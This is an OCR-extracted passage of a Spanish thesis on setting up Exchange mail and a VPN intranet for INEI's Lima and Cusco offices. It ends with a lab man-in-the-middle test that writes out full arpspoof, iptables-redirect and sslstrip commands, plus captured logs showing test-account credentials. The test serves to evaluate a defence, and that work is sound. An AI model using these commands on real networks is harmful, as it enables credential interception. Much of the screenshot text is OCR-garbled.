
Se selecciono “Zona Principal” y el tipo de zona elegida fue el la de busqueda

inversa para IPv4, debido a que con las IPv4.

I Asistente para nueva zona

Nombre de la zona de bisqueda inversa
Una zona de bisgueda inversa traduce direcciones IP en nombres DRNS,

X

PV

IPvG.

* Zona de biisgueda inversa para IPv4

" Zona de bisgueda inversa para IFvG

Elija si desea crear una zona de blsgueda inversa para direccones IPv4 o direcciones

< Afras I Siguiente %I

Cancelar

Img 54. Tipo de Zona — Fuente (Elaboracion Propia)
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Se escribio el Id. de red en su forma normal para la creacion de dicha zona, en
este caso fue el 192.168.1 y el nombre de la zona de bdsqueda inversa tomo

el nombre de: 1.192.168.in-addr.arpa.

Asistente para crear zona nueva XI

Nombre de la zona de bisqueda inversa E‘

Una zona de blsqueda inversa traduce direcciones IP en nombres DMNS,
g

Para identificar la zona de blisgueda inversa, escriba el Id. de red o el nombre de zona.
{* Id, de red:
152 152 1|

El Id de red es la parte de |a direccion IP que pertenece a esta zona. Escriba el Id. de
red en su orden normal {no en el inverso).

Si usa un cero en el Id de red, aparecera en el nombre de la zona. Por ejemplo, el Id
de red 10 crearia la zona 10.in-addr.arpa, v el Id de red 10.0 crearia la zona
0. 10.in-addr.arpa.

" Nombre de la zona de bisgueda inversa:

< Atras ISiguiente %I Cancelar |

Img 55. Nombre de la Zona de Busqueda Inversa — Fuente (Elaboracion
Propia)
Se selecciond la actualizacion “dinamica segura” la cual esta como opcion

recomendada y pulsar en siguiente para concluir con la creacion de la zona.

Asistente para crear zona nueva ill

Finalizacion del Asistente para
crear zona nueva

‘ Se ha completado correctamente el Asistente para crear
zona nueva. Ha especificado la siguiente configuracidn:
=
=
| Mombre: 1,168, 192.in-addr.arpa -
Tipo: Zona primaria integrada de Active
Directory

Tipo de busqueda: Inwvertir
[
Mota: ahora debe agregar registros a la zona o asegurarse
de gue los registros se actualizan dindmicamentes, A
continuacién, compruebe la resolucidn de nombres con
nslookup.

Para cerrar este asistents v crear |s zona nueva, haga dlic

en Finalizar.
< Atras I Finalizar [_\! Cancelar

Img 56. Finalizacion del Asistente para Crear Zona Nueva — Fuente

(Elaboracion Propia)
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Para verificar que la zona de busqueda inversa se ha creado correctamente, se
ingresé al administrador de DNS, realizando los siguientes pasos: inicio,

herramientas administrativas, dns.

Il Administrador de DS

Archive  Accon  Ver  Ayuda

al— =
4 m|| ENCE

5 DNS Nombre | Tipo | Datos | Marca de tiempo
B § WIN-32691UMLATX & (igual que la carpeta prindpal)  Inicio de autoridad (S08)  [1], win-3269 umlatx ineic...  static
B 29”35 de blsqueda directa '—| (igual que |3 carpeta principal]  Servidor de nombres (N5)  win-3269 1umlaty.inei.com, static
2| _madcs.inei.com
-_='_ inei.com

E ] Zonas de bisqueda inversa
| 1.168.192in-addr.arpa

| Reenviadores condicionzles

Registros globales

Img 57. Zona de Busqueda Inversa Creada — Fuente (Elaboracién Propia)
Una vez finalizado con la creacién de la zona, se procedi6 a instalar el servidor

web IIS, con la finalidad de que los clientes VPN puedan compartir informacion
por medio de la intranet, para la instalacion se siguié los siguientes pasos:
Inicio, administrador del servidor (presionar anticlick), agregar funciones de
servidor, seleccionar la opcién “Servidor web IIS” y reiniciar el equipo para
guardar las configuraciones realizadas.
5.2.2 INSTALACION Y CONFIGURACION DE EXCHANGE SERVER

Se consideré la instalacion de Server Exchange como parte para la
configuracion del servidor de correos, debido a que Windows server 2008 no
tiene incluido protocolo de red para correo electronico POP3.

Para iniciar con la instalacion de Server Exchange, primero tuvo que ejecutarse
en modo administrador y automaticamente la instalacion inicié apartir el paso

4: “instalacién de Microsoft Exchange”.
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Plan

Obtenga més informacidn acerca de Microsoft Exchange Server
2010 Service Pack 2

Obtener més detalles sobre la implementacion de idiomas

Utilizar el Asistente de implementacion de Exchange Server 2010

Instalar

Paso 4: Instalar Microsoft Exchange

Paso 5: Obtener actualizaciones criticas para Microsoft Exchange

Microsoft Forefront Protection 2010 para

Exchange Server ayuda a proteger los

servidores de Exchange de virus, gusanos y Mejorar
otro software malintencionado.

Microsoft Forefront Protection 2010 para Exchange Server

Microsoft’

Exchange Server 2010 cerar_|

Img 59. Instalacién Exchange Server — Fuente (Elaboracion Propia)
Se acepto los términos del contrato de licencia, se vio por conveniente elegir la

instalacion tipica ya que es la opcién mas completa.

Programa de instalacion de Exchange Server 2010

B Introduccidn Tipo de instalacién
Seleccione el tipo de instalacion de Exchangs Server.

> T Instalacion tipica de Exchange Server

Pl Contrato de kcencia
1 informe de eores

B i 4 sutilecin g . A continuacién, qué se instalard en su equUPo
ipo de in 1.
Programa E—J - Concentrador de transporte
<megcra¢.$epl:a‘a 7 'é’tuc?”“m°
axpanencia U - Buzon 1
o 2 - Heramiertas de adminstracén de Exchange !
37 R ~ Instalacion personalizada de Exchange Server
+ Progreso T Use esta opcidn para seleccionar cudl de los siguentes funcionss desea
Finalizacén L ! nstalar en oste equipo
zZ Loncentrador de transporte
- Acceso de cherte
- Buzén
« Mensajeria unficada
- Transpode peametral
« Hemamienrtas de adminstracién de Exchange

Especfique la nta de acceso pars 3 instalacidn de Exchange Server
{C:\Program Files\Microsoft \Exchange Server Examnar |

Ayuda l < Mtrds I Siguenta I\l Cancelar J
\>

Img 58. Tipo de Instalacion Exchange Server 2010 — Fuente (Elaboracion
Propia)
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Se indic6 el nombre de la organizacién, en este caso fue “INEI”.

Programa de instalacion de Exchange Server 2010

P Introduccién Organizacion de Exchange

I Contrato de licencia Especfique &l nombre de esta organizacién de Exchange:

I informe de emores I NE
I3 Tipo de instalacion

O Organizacion de
Exchange

Configuracidn de
~ cliente
Configurar dominio

| extemo del servidor
de acceso de cle.

Programa parz Iz

! mejora de la
expenencia del usuano
Cheques de la

" preparacion
Progreso

4 Finalizacién

Ayuda I < Mrds “ Siguierte [\I Cancalar II
Ay

Img 60. Nombre de la organizacion de Exchange — Fuente
(Elaboracion Propia)

Finalmente se espero a que la instalacion del server exchange haya finalizado.

Programa de instalacion de Exchange Server 2010

I Introduccién Finalizacion
= Las siguentes funciones de servidor se han instalado comectamente. Para cerar &
3 Contrato de icencia s .

B Informe de eTores

I Tipo de instalacién

<«

o FUNOGn de Burdn

anizacién de s -]
& g%\,,ge o Deteriendo servioos & ¥
ry Corfiguracién de o Coplar archweos de Exchange V] ¥
 cherte
Corfigurar dominio Archivos de idhoma V] v
) extemo del servidor
de acceso de cle. o Restauracdn de servicos o ¥
Programa para la o ldomas o z
£ meoradela
expernencia del usuario Merramientas de admnstr aoon V] v
n Chegues de la _ Funodn de transporte de concentradores V] v
1 Progreso 2 Funodn de Acceso de dente V] ¥
Y Fnslizacién
o
4

o Fralzando configur acdn

Seleccione Cirl+C para copiar el contenido de esta pagina.

[V Finslizar iz nstalacién mediante la Consola da administracidn de Exchange.
Ayuds | Aras I Finalizar ]] Cancels I

Img 61. Img. 54 Finalizacion de la Instalacion de Exchange Server —
Fuente (Elaboracion Propia)
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Una vez culminada la instalacion, se reinicio el equipo para guardar los cambios
efectuados, seguidamente se procedio a la creacion de un nuevo buzoén el cual
se encarga de albergar las cuentas de los destinatarios, para ello se sigui6 los
siguientes pasos: abrir la consola de administracibn de Exchange, buzén

(anticlick), buzén nuevo.

[A\-/:‘Kp Nuevo buzon

B Introduccién Introduccion
Este asistente le quiard por los pasos necesarios para crear un buzdn nuevo, un buzdn de

4 Tipo de usuario z :
recursos, un buzdn vinculado y para habilitar un usuario existente para comeo.

4 Buzén nuevo

Bt s Elija el tipo de buzdn.
J Finalizacién : :
I {¢' Buzdn de usuario

Este buzdn lo posee un usuario para enviar y recibir mensajes. No se utiliza para Ia
programacion de recursos.

" Buzén de sala
El buzdn de la sala es para |z programacidn de Iz sala, no lo posee ningln usuario. La
cuenta de usuario asociada con el buzdn de recursos se deshabilitara.

{" Buzén de equipamiento

El buzén de equipamiento es para la programacidn del equipamiento v no lo posee
ningln usuario. La cuenta de usuario asociada con el buzdn de recursos se
deshabilitard.

{" Buzén vinculado

El buzédn vinculado es &l nombre de un buzén al que tiene acceso una entidad principal
de seguridad {usuario) en un bosque de confianza independiente.

Img 62. Creacion de Buzon de Usuario — Fuente (Elaboracion Propia)
El tipo de usuario que se vio por conveniente elegir fue “Usuarios Existentes”

ya que anteriormente para la creacion de la intranet se crearon las cuentas con

los nombres de los trabajadores.

Nuevo buzdén

B introduccién Tipo de usuario
B Tipo de usuario Puede crear un usuario nuevo o seleccionar usuarios existentes para los que desea crear
nuevos buzones.

J Buzén nuevo
e 20 I Crear buzones para:
J Finalizacién P )
Nuevo usuario

¢ Usuarios existentes:
58 Agregar. . D‘}

Nombre N | Unidad organizativa

Img 63. Seleccion tipo de usuario para la creacion de un Nuevo Buzén — Fuente
(Elaboracién Propia)
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Se selecciond y agrego a los usuarios anteriormente configurados.

14 -
«!!l4  Nuevo buzén

B Introduccion Tipo de usuario

B Tioo de usuaiio Puede crear un usuario nuevo o seleccionar usuarios existentes para los que desea crear
nuevos buzones.
4 Buzén nuevo

3 3 Crear buzones para:
4 Finalizacién - ;
Nuevo usuario

% Usuarios existentes:

:{} Agregar...
Nombre |_Unidad organizativa
2 ‘alina mar inei.com/Users
:/. Carlos Perez inei.com/Users
2 Luis Genaro inei.com/Users
2 Yoni Choque inei.com/Users

Ayuda | < Atrés I Siguuente[\l Cancelar I

Img 64. Seleccion de usuarios a agregar — Fuente (Elaboracién Propia)
Se ubico el nombre de la base de datos que esta por defecto en la configuracion

del buzén de Exchange server, para el almacenamiento de los buzones de cada

usuario.

)
) k/-')‘,-s Nuevo buzdn
N7
B introduccién Conrfiguracion del buzén
3 Thoo ds Usuesc Ex "\-u sias para ol usuaro dal buzdn y, & continuacidn, ssleccions la ubicacidn del
buzdn y la configuracién de la drectiva
Corfiguracion d ;
buzén ~3%
Buzdn ruevo l
Fnaizacéin

Base de datos de buzones
[‘.’.‘l!l-32631lJ‘-%L-‘«TX First Sorage Group \Malbox Database

[T Demctica da buzdn de fa capata administrada

[ Bz |

[T Diractiva da buzén de Exchange ActiveSync

| ez |

Campetas admnistradas personalizadas es una caracteristic premium de administacian
de registros de mensajeria. Los buzones con drectivas que inchuyen las capetas
administradas personalizadas requieren una kcencia de acceso de clente de empresa
(CAL) da Exchangs

Img 65. Base de Datos de Buzones — Fuente (Elaboracién Propia)
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Finalmente se espero a que se culmine con la creacion de cada buzon para los

usuarios seleccionados.

1! -
atf Nuevo buzdn

B

B Irtroduccisdn Finalizacion
El asistente se completd comectamente. Para cemar este asistente, haga clic en Finalizar.
PR

Tiempe transcumido: 00:00:01
Resumen: 4 elementals). 4 comecto(s), 0 con emor.

A Tipo de usuario

Conrfiguracién del
o buzén

B Buzén nuevo e alina mar V] A | =
M Finalizacion Se completd el comando del Shell de administracidn de Exchange:

inei.com/Users/alina mar' | Enable-Mailbox -Database WIN-32631UMLATX \First
Storage GrouptMailbox Database

- r- Iy

Tiempo transcumido: 00:00:01
gy Carlos Perez "E:JI 3

Se completd el comando del Shell de administracion de Exchange:
inei.com/Users./Carlos Perez' | Enable-Mailbox -Database
WIN-32651UMLATX\First Storage Group'Mailbox Database

- rary-ry

Tiempo transcurmido: 00:00:00
Lg Luis Genaro "E:JI 3
Se completd el comando del Shell de administracion de Exchange:

inei.com./Users/Luis Genaro' | Enable-Mailbox -Database
WIN-32651UMLATX\First Storage Group'Mailbox Database

- rary-ry

Tiempo transcurmido: 00:00:00

&3 foni Chogue [V} 3 LI

Seleccione Ctr+C para copiar &l contenido de esta pagina.

Ayuda < Atrds | Finalizar [Z! Cancelar |

Img 66. Creacién de Buzones de Correo — Fuente (Elaboracién Propia)
5.2.3 CREACION DE CUENTAS EN OUTLOOK

Una vez finalizado la instalacion y configuracién de los buzones de correo
para cada uno de los trabajadores autorizados de las sedes Lima — Cusco
del INEI, se procedi6 a crear las cuentas en outlook (correo de escritorio),
los pasos que se siguieron para la creacion de dichas cuentas fueron
outlook fueron: Abrir el servicio de correo electrénico y seleccionar la opcién

“Configuracion Manual’.
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Agregar cuenta

Configuracién automatica de la cuenta
Configuracidn manual de una cuenta o conexidn a otros tipos de servidores.

Cuenta de correo electrénico

'@ Configuracion manual o tipos de servidores adicionales

| < Atras |[Siguiente>] | Cancelar |

Img 68. Configuracion Manual para la Cuenta en Outlook — Fuente
(Elaboracion Propia)
El tipo de servicio que se eligié fue de Microsoft Exchange, debido a que en él

se encuentra configuradas las cuentas de correo.

Agregar cuenta

Elegir servicio

'@ Microsoft Exchange Server o servicio compatible
Conectarse a una cuenta de Exchange para tener acceso al correo electrénico, calendario, contactos, tareas y
mensajes de correo de voz

Servicio compatible con Qutlook.com o Exchange ActiveSync
Conectarse a servicios como Qutlook.com para obtener acceso al correo electrénico, el calendario, los contactos y las
tareas

POP o IMAP
Conectarse a una cuenta de correo electrénico de POP o IMAP

| < Atras |[Siguier1te>] | Cancelar |

Img 67. Tipo de Servicio para la Creacion de la Cuenta de Correo — Fuente
(Elaboracion Propia)
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Para la creacién de la cuenta “carlos@inei.com y demas usuarios en outlook,
se indicé el nombre del servidor y el nombre del usuario anteriormente citado

en el Exchange Server, en este caso para el usuario “carlos”.

Configuracion del servidor
Especifique la configuracidn de Microsoft Exchange Server de su cuenta.
Configuracion del servidor
Servidor: |WIN-32691UMLATX.ingi.com

MNombre de usuario: | carlos@inei.com Camprobar nombre

Configuracion sin conexion

Usar modo de intercambio en caché

| Mas configuraciones.., |

| < Atrds ” Siguiente:-l | Cancelar |

Img 69. Configuracion de Microsoft Exchange de la Cuenta — Fuente
(Elaboracién Propia)

Finalmente para comprobar la conexion de una determinada cuenta con el
Exchange Server, se pulsé sobre la opcién “comprobar nombre”, y a

continuacion se observa que la conexion ha sido exitosa.
—_— e

Configuracién de la cuenta de prueba

Pruebas completadas correctamente. Haga clic en Cerrar para continuar, Matana

Cerrar
M| | Tareas | Errores

Tareas Estado
\/Iniciar sesion en el servidor de correo entr... Completado
\/Emriar mensaje de correo electronico de p... Completado

Img 70. Configuracion de la Cuenta de Prueba — Fuente (Elaboracion Propia)
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5.2.4 PRUEBA DE ENVIO Y RECEPCION DE MENSAJES
Una vez culminado con todas las configuraciones anteriormente realizadas, se procedio a realizar pruebas de envio y recepcion de

mensajes de los correos entre los usuarios alina@inei.com y CarlosPerez@inei.com, donde alina@inei.com envia el mensaje de

prueba a CarlosPerez@inei.com

ARCHIVO g\ Wileile] EMVIAR Y RECIBIR CARPETA VISTA

. oz, Txlgrorer X & 2 £ Ereunion [ Movera? ¥ Mover- ) Nolefdo/Leido | Buscar personas =%
“’j 7 Limpiar - 6 > =3 Al jefe ~| i Reglas~ H. Categorizar - EE Libreta de direcciones ;
Muevo mensajede  Nuevos Eliminar Responder Responder Reenviar E-@Ma . E Correo electrén... |+ m > X . Enviar y recibir
correo electrénico elementos - o Correo no deseado ~ atodos W oneNote  [* Seguimiento~ Y Filtrar carreo electrénico *  oqa jas carpetas
Muevo Eliminar Responder Pasos rapidos [F] Mover Etiquetas Buscar Enviar o recibir ~
< . -
Buscar en Elementos enviados [Ctrl=E) A2 | Carpeta actual - £ Responder [£2 Responder a todos £ Reenviar
Todo No leidos PorFecha = Mas nuevo 4 sabado 21/11/2015 06:44 p.m.
4 alina@inei.com 4 ANTIGUO alina <alina@ineicom:>
Bandeja de entrada . o s Mensaje de prueba de correo electrénico INEL
— CarlosPerez@inel.com P ,
=2l Mensaje de prueba de correo electronico INED 21/11/2015 Para  ‘CarlosPerez@nel.com -~
Hementos enviados “PROPUESTA DE IMPLEMENTACION DE UMA INTRANET

Elementos eliminados 2 w . -
o PROPUESTA DE IMPLEMENTACION DE UNA INTRANET ViA VPN PARA MEJORAR LA CONFIDENCIALIDAD
BondejSe s arcl 2] DEL INTERCAMBIO DE INFORMACION ENTRE LAS SEDES LIMA — CUSCO DEL INEI”
Caorreo electrénico no deseado CASO0: Servidor de Correos
Fuentes RS5

Carpetas de bisqueda

DERECHOS DE AUTOR RESERVADOS
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Mensaje de prueba enviado por alina@inei.com , recibido en la cuenta de correo de CarlosPerez@inei.com.

ARCHIVO gamiiilei(e] ENVIAR Y RECIBIR CARPETA VISTA

- x| P . o, —~ * e 7 3 Mo lefdo/Leid Buscar personas
El "j impiar x 3 FL_é] L_el 2 Reunion Mover a: 7 ¥ @ =1 Mo leido/Leido & p
o &5 Correo no deseado ~ v Listo 4 I Categorizar - [ Libreta de direcciones
MNuevo mensaje de  Muevos Eliminar Responder Responder Reenviar T ) —|  Mover OneMote o . 3
correo electrénico elementos ~ a todos rear nueva - > Seguimiento ~ Y Filtrar correo electrénico -
Nuevo Eliminar Responder Pasos répidos [Fl Mover Etiquetas Buscar S
Buscar en Buzén actual (Ctrl+B) P | Buzénactual - = Responder (€2 Responderatodos (£ Reenviar
Todo No leidos PorDe~ AaZt sdbado 21/11/2015 06:44 p.m.
4 CarlosPerez@inel.com - alina <alina@inei.com:
Bandeja de entrada i Mensaje de prueba de correo electrénico INE
alina ] o
Borrador Mensaje de prueba de correo electrdnico INEI 211172015 Fara  CarlosPerez@inei.com A

Elementos enviados “PROPUESTA DE IMPLEMENTACION DE UNA

Elementos eliminados - -
) o “PROPUESTA DE IMPLEMENTACION DE UNA INTRANET VIA VPN PARA MEJORAR LA
Bandeja de salida [1] CONFIDENCIALIDAD DEL INTERCAMBIO DE INFORMACION ENTRE LAS SEDES LIMA — CUSCO DEL INEI”
Correo electrénico no deseado CASO: Servidor de Correos
Carpetas de bisqueda

This email has been protected by YAC (Yet Another Cleaner) www yac.mx

alina |:| B~
Mo hay elementos para mostrar en esta vista.

TODO

MOVEDADES

CORRECQ

DATOS ADJUNTOS

REUNIONES

ELEMENTOS: 1

Img 72. Prueba de Recepcién del mensaje de la cuenta alina@inei.com -Fuente (Elaboracién Propia)
Una vez realizada la prueba de envio y recepcion de la informacién a través del correo, se tiene que la informacion enviada por la

cuenta de alina (alina@inei.com - img. 72), fue recibida con éxito por su destinatario (CarlosPerez@inei.com — img.73), demostrando

no solo la integridad de la informacion enviada sino también la disponibilidad de ésta para cuando el destinatario lo requiera.
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CAPITULO VI

6.1 PRUEBAS DE LA INTRANET

Para poner a prueba la seguridad de la intranet via VPN, se realiz6 el ataque “man in the
middle”, utilizando para esto el sistema operativo kali Linux en su version 2.0, haciendo uso
de la técnica arpspoof y la herramienta sslstrip. Asimismo se realizaron dos ambientes de
prueba para realizar los ataques, una sin conexién a la intranet la cual es como actualmente
se viene utilizando en las sedes Lima — Cusco del INEI y otra prueba con conexion a la
intranet, para verificar que tan eficiente es la VPN, éstos ataques se trabajaron con la

siguiente topologia:

CONEXION NORMAL

- CONEXION MAN IN THE MIDLE Router
Victima

Atacante

Img 73. Topologia de ataque "Man in the middle"- Fuente (Elaboracién Propia)
Antes de iniciar con las pruebas, es necesario sefalar que las cuentas que se utilizaron

como victimas para llevar a cabo los ataques man in the middle fueron: alina@inei.com y

CarlosPerez@inei.com (clientes VPN anteriormente configurados en la intranet), a

continuacion se indicaran las direcciones IP’s tanto el atacante como el de las victimas.
e Direccion IP del atacante: 192.168.1.38

:~# ifconfig

eth® Link encap:Ethernet Hwaddr 08:00:27:16:dl:c6
inet addr:192.168.1.38 Bcast:192.168.1.255 Mask:255.255.255.0

Img 74. Direccion IP del atacante — Fuente (Elaboracién Propia)
e Direccion IP de la victima “alina”: 192.168.1.34

:192.168.1.34
: 255.255.255.8
:192.168.1.1

Imag 75. Direccion IP de la victima “alina” — Fuente (Elaboracién Propia)
e Direccién IP de la victima “CarlosPerez”: 192.168.1.40

: 192.168.1.4@
: 255.255.255.08
: 192.168.1.1
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6.1.1 PRUEBA SIN CONEXION A LA INTRANET

Para iniciar con la prueba del ataque sin conexion intranet se ingres6 en modo root o
super-usuario para tener todos los privilegios de administrador, seguidamente se
realizaron los siguientes pasos:

e Se puso en modo promiscuo el equipo del atacante para filtrar y escuchar todo el trafico
gue pasa por la red, seguidamente se corroboré que la tarjeta de red efectivamente se

encontraba en modo promiscuo.

:~# cat /proc/sys/net/ipv4/ip_forward

:~# echo 1 = /proc/sys/net/ipv4/ip_forward
:~# cat /proc/sys/net/ipv4/ip_forward

Img 77. Cambio de modo normal a modo promiscuo — Fuente (Elaboracién Propia)

® Se escribio el comando arpspoof para generar el envenenamiento al equipo de la victima
“alina”, con la finalidad de hacer que todo el tréfico que éste mande al router primero pase

por la maquina del atacante para asi poder robar o vulnerar su informacion, cuentas de
usuario y contrasefias, es asi que la victima nunca se dara cuenta que esta siendo vigilada

por alguien mas ya que el atacante se ésta haciendo pasar por el router.

:~# arpspoof -1 eth® -t 192.168.1.34 192.168.1.1
:16:dl:c6 74:25:43:39:17:89 0806 42: arp reply 192.168.1.1 i

:16:d1:c6 74:e5:43:39:17:89 0806 42: arp reply .168.1.
:16:dl:c6 74:25:43:39:17:89 0806 42: arp reply 18851
:16:d1:c6 74:25:43:39:17:89 0806 42: arp reply

:16:dl:c6 74:25:43:39:17:89 0806 :arp reply . 16851 ]
:16:dl:c6 74:25:43:39:17:89 0806 : arp reply .168.1.1 i

:16:d1:c6 74:25:43:39:17:89 0806 : arp reply .168.1.1 is-at

Img 78. Envenenamiento al equipo de la victima “alina” — Fuente (Elaboracion Propia)
e Se utilizé el comando iptables para redireccionar que todo el trafico que realice la victima

pase de estar del puerto 80 (utilizado por defecto en el sistema), pase al puerto 1000.

:~# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIR

ECT --to-port 10060

Img 79. Redireccionamiento del puerto 80 al puerto 1000 — Fuente (Elaboracién Propia)
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e Seguidamente se ejecutd el comando sslstrip para que éste pueda escuchar el trafico y
pueda descifrar el trafico https y la informacién de la victima pase de ser segura a ser

vulnerable.
:~# sslstrip -1 1000

sslstrip 0.9 by Moxie Marlinspike running.
Unhandled Error
Traceback (most recent call last):
! File "/usr/local/bin/sslstrip", line 105, in main
reactor.runf()
File "/usr/lib/python2.7/dist-packages/twisted/internet/base.py", line 1192, i
n run
self.mainLoop()
File "/usr/lib/python2.7/dist-packages/twisted/internet/base.py", line 1204, i
n mainLoop
self.dolteration(t)
File "/usr/lib/python2.7/dist-packages/twisted/internet/epollreactor.py", line
396, in doPoll
log.callWithLogger(selectable, drdw, selectable, fd, event)
--- <exception caught hﬂrn> i
File "/usr/lib/python2.7/dist-packages/twisted/python/log.py"”, line 88, in cal

Img 80. Pasar la informacién segura a ser vulnerable — Fuente (Elaboracién Propia)
e Finalmente para poder visualizar el usuario y la contrasefia que la victima colocé al

momento de autenticarse en su cuenta de correo, se ejecutd el siguiente comando: “cat
sslstrip.log”, ya que es ahi donde sslstrip almacena toda la informacion del trafico que

genero la victima.

a/intermet/defer.p
shrip/ClientReques

Img 81. Cuenta hackeada de la victima “alina” — Fuente (Elaboracion Propia)
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e Para el caso de la segunda victima “CarlosPerez”, de la misma manera se siguieron los
pasos anteriores, con la diferencia que se cambio la direccion IP del equipo en el que éste

se encontraba situado.

2016-05-14 21:39:09, 998 POST Data (ocsp.digicert.com) :
0QBOGMEKOIA E A o9
EHON606[ 1 <tbedbbl Eiﬂ ]
2016-05-14 21:39:10, 019 POST Data (Ofbp digicert.com):
0QEOGMEKOIO lHum{u*m 6604w [RUs66) 6 A 06y 6HUG[ ] 6066 | 6x662k
Qa
2016-05-14 21:45:42,132 SECURE POST Data (login.live.com):
loginfmt=CarlosPerez%40inei.com&login=carlosperez%40inei.com&passwd=Abc%24123&ty
pe=11&PPFT=DZ0OnKE fkp9g7yil8WuUCNk3XdTzsi3xupjOpb7iTORNAMZgcSrpxtLzr6%21UCiXuvl7HF
wIKtL1z3hnIp8TxVwIpoKE4vZZLORIbOCWNYBz0s6%21mc IGeOdkHADWPSpQ7 JzmwX4UmXj XVNTIPrjn
FxN49nU1TvDV1OxGKNvSEWLOJIwFZpdrtVtOLONsAhVs6ZIESTKHL%219BgVUVISRXMbhxAWgQ f6GdTmI
Icf%21KUVEOTN3T&PPSX=Passpo&Newlser=1&LoginOptions=3&FoundMSAs=&fspost=0&i2=1&il
6=%7B%22navigationStart%22%3A1463254443703%2C%22unloadEventStart%22%3A1463254444
925%2C%22unloadEventEnd%22%3A1463254444925%2C%22redirectStart%22%3A0%2C%22redire
CtENd%22%3A0%2C%22fetchStart%22%3A1463254443703%2C%22domainLookupStart%22%3A1463
254443703%2C%22domainlLookupEnd%22%3A1463254443703%2C%22connectStart%22%3A1463254
443703%2C%22connectEnd%22%3A1463254443703%2C%22requestStart%22%3A1463254443723%2
C%22responseStart%22%3A1463254444915%2C%22 responseEnd%22%3A1463254444915%2C%22do
mLoading%22%3A1463254444925%2C%22domInteractive%22%3A1463254445015%2C%22domConte
ntLoadedEventStart%22%3A1463254445015%2C%22domContentLoadedEventEnd%22%3A1463254
445015%2C%22domComplete%22%3A1463254445025%2C%221 oadEventStart%22%3A146325444502
5%2C%2210oadEventEnd%22%3A0%/D&117=0&118= DefaultlLogin Strings%7C1%2C_ DefaultlLo
gin_Core%7Cl%iC&119=f951l6&i21=®&122=0&il3=0

~#

Img 82. Cuenta hackeada de la victima CarlosPerez — Fuente (Elaboracion
Propia)

6.1.2 PRUEBA CON CONEXION A LA INTRANET

Para realizar las pruebas con la conexion a la VPN, primeramente la victima se conecto
la intranet indicando su cuenta y su contrasefia asignada como cliente VPN,
seguidamente se realizaron los siguientes pasos:
e Ingresar en modo super-usuario para tener los privilegios de administrador y se

puso en modo promiscuo el equipo del atacante.

:~# cat /proc/sys/net/ipv4/ip forward

Img 83. Cambio a modo promiscuo de la tarjeta de red— Fuente
(Elaboracién Propia)

e Ejecutar el comando arpspoof para envenenar el equipo de la victima
“CarlosPerez” y hacer que todo el trafico que éste realice que pase por el equipo
del atacante y asi este pueda observar todo lo que la victima esté realizando en

Su equipo.
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:~# arpspoof -i eth® -t 192.168.1.40 192. sl
:c6 8:0:27:d:3f:85 0806 42: arp reply e S S - 232706 d ]

:16:d1:c6 8:0:27:d:3f:85 0806 42: arp reply ! : Sl s :0:27:16:d1
:27:16:d1l:c6 8:0:27:d:3f:85 0806 42: arp reply : 1.1 is- :0:27:16:d1
0:27:16:dl:c6 8:0:27:d:3f:85 0806 42: arp reply ! : 1.1 is- :0:27:16:d1
:27:16:dl:c6 8:0:27:d:3f:85 0806 42: arp reply ! 5 Al s :0:27:16:d1
0:27:16:dl:c6 8:0:27:d:3f:85 0806 42: arp reply | - ka8=lls s :0:27:16:d1

:27:16:dl:c6 8:0:27:d:3f:85 0806 42: arp reply ! 5 2]l ds= 102716 -di
éfg:27:l6: :c6 8:0:27:d:3F:85 0806 42: arp reply | : P N [ 105275 163d]
éfg:27:16: :c6 8:0:27:d:3f:85 0806 42: arp reply 192. 1.1 is- :0:27:16:d1
léfg:27:16: l:c6 8:0:27:d:3f:85 0806 42: arp reply 192.168.1.1 is-at 8:0:27:16:d1
éfg:27:16: :c6 8:0:27:d:3f: 0806 42: arp reply 192.168.1.1 is-at 8:0:27:16:dl

Img 85. Envenenamiento al equipo de la victima “CarlosPerez" — Fuente (Elaboracién
Propia)

e Se ejecutd los comandos iptables y sslstrip, iptables para redireccionar todo el trafico que
realice la victima pase de estar del puerto 80 pase al puerto 1000 y sslstrip para hacer que
éste escuche y descifre el trafico https pasandolo a http.

:~# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIR
ECT --to-port 1000
T :~# sslstrip -1 10060

sslstrip 0.9 by Moxie Marlinspike running...

Img 84. sslstrip en modo escucha — Fuente (Elaboracion Propia)
Como se pudo observar en la anterior imagen sslstrip no pudo captar el trafico que la

victima estuvo realizando (ingresar a su cuenta de correo), para poder corroborar que el
atacante no pudo obtener nada del trafico que ocasiong la victima se ejecuto el siguiente
comando:

Como se pudo observar no se registra absolutamente ningin dato.

:~# cat sslstrip.log
:~# cat sslstrip.log

~#

Img 86. Almacén del trafico que guardé sslistrip generada por la victima — Fuente
(Elaboracién Propia)
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6.2 DISCUSION DE RESULTADOS

Una vez realizado cada una de las pruebas, se procedié a comparar los resultados

obtenidos.

e Resultados del ataque “man in the middle” sin conexién a la

intranet

Img 87. Resultados de ataque sin conexion a intranet — Fuente (Elaboracion Propia)

Como se pudo observar en la imagen anterior, se puede ver claramente la cuenta de usuario
y la contrasefia de correo de la victima “alina”, donde:

Cuenta de correo: alina@inei.com

Contrasefia: 123%40Abc

Una vez realizado el ataque se muestra que $ esta expresado con el cédigo: %40.

Con el resultado obtenido sin la conexién a la intranet segun muestra la imagen 88, se
puede observar que con el ataque man in the midle el atacante no sélo pudo observar el
trafico que generd la victima sino que a su vez éste pudo extraer la cuenta de usuario y la
contrasefa de la victima a quien se realiz6 el ataque.

CONCLUSION

Sin una conexion VPN la informacion de la victima puede ser facilmente extraida y

vulnerada por el atacante.
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e Resultados del ataque “man in the middle” con conexion a la

intranet

:~# cat sslstrip.log
:~# cat sslstrip.log

~H#

Img 88. Resultados de ataque con conexién a intranet — Fuente (Elaboracién Propia)

Con el resultado obtenido con la prueba del ataque man in the middle con una conexion a
la intranet seglin muestra la imagen 89, se puede observar que el atacante no pudo captar
absolutamente nada del trafico que realiz6 la victima “alina”.

CONCLUSION

Con una conexion VPN no sélo se asegura la informacion sino que a su vez se mejora la
confidencialidad de la misma, dando fé que la hipétesis anteriormente sefialada al inicio

del presente informe es verdadera.
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CAPITULO VII

COSTOS

7.1 COSTOS DE INVESTIGACION DEL PROYECTO

COSTO COSTO
CANTIDAD ESPECIFICACIONES UNITARIO GENERAL
, Pcl S/. 2507.00
2 o s de S/, 4757.00
Pc2 S/. 2250.00
Laptopl S/. 2350.00
IﬁI:J 2 Laptops S/. 5240.00
<§( Laptop2 S/. 2890.00
2 ZTE S/. 70.00
T 2 Routers S/. 108.00
TP - LINK S/. 38.00
2 Cables de red S/.3.00 S/. 6.00
w Windows Server 2008 r2 S/.0.00
o4
<
